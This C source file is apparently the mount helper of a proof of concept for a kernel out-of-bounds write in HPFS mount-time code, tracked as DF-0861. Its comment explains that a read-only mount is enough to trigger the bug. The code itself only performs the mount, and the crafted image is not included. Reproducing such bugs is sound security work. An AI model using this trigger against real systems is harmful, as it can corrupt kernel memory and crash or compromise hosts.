/*
 * DF-0861 — HPFS mount helper.
 *
 * mount_hpfs(8) forces MNT_RDONLY; hpfs_cpinit runs at mount time
 * regardless of mount flags (hpfs_vfsops.c:305), so an RO mount is enough
 * to fire the OOB write.  We call mount(2) directly to keep full control.
 *
 * Usage:  ./mount_hpfs_simple /dev/vn1 /mnt
 * Build:  cc -o mount_hpfs_simple mount_hpfs_simple.c
 * (root only — mount(2) requires root unless vfs.usermount=1)
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <vfs/hpfs/hpfsmount.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct hpfs_args args;
	struct stat sb;
	const char *dev, *dir;
	int mntflags = MNT_RDONLY;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <dev> <dir>\n", argv[0]);
		return 2;
	}
	dev = argv[1];
	dir = argv[2];

	memset(&args, 0, sizeof(args));
	args.fspec = (char *)dev;
	if (stat(dir, &sb) == -1)
		err(1, "stat %s", dir);
	args.uid = sb.st_uid;
	args.gid = sb.st_gid;
	args.mode = sb.st_mode & (S_IRWXU | S_IRWXG | S_IRWXO);

	if (mount("hpfs", dir, mntflags, &args) < 0)
		err(1, "mount(hpfs, %s, %s)", dev, dir);

	printf("mounted %s on %s (RO)\n", dev, dir);
	return 0;
}
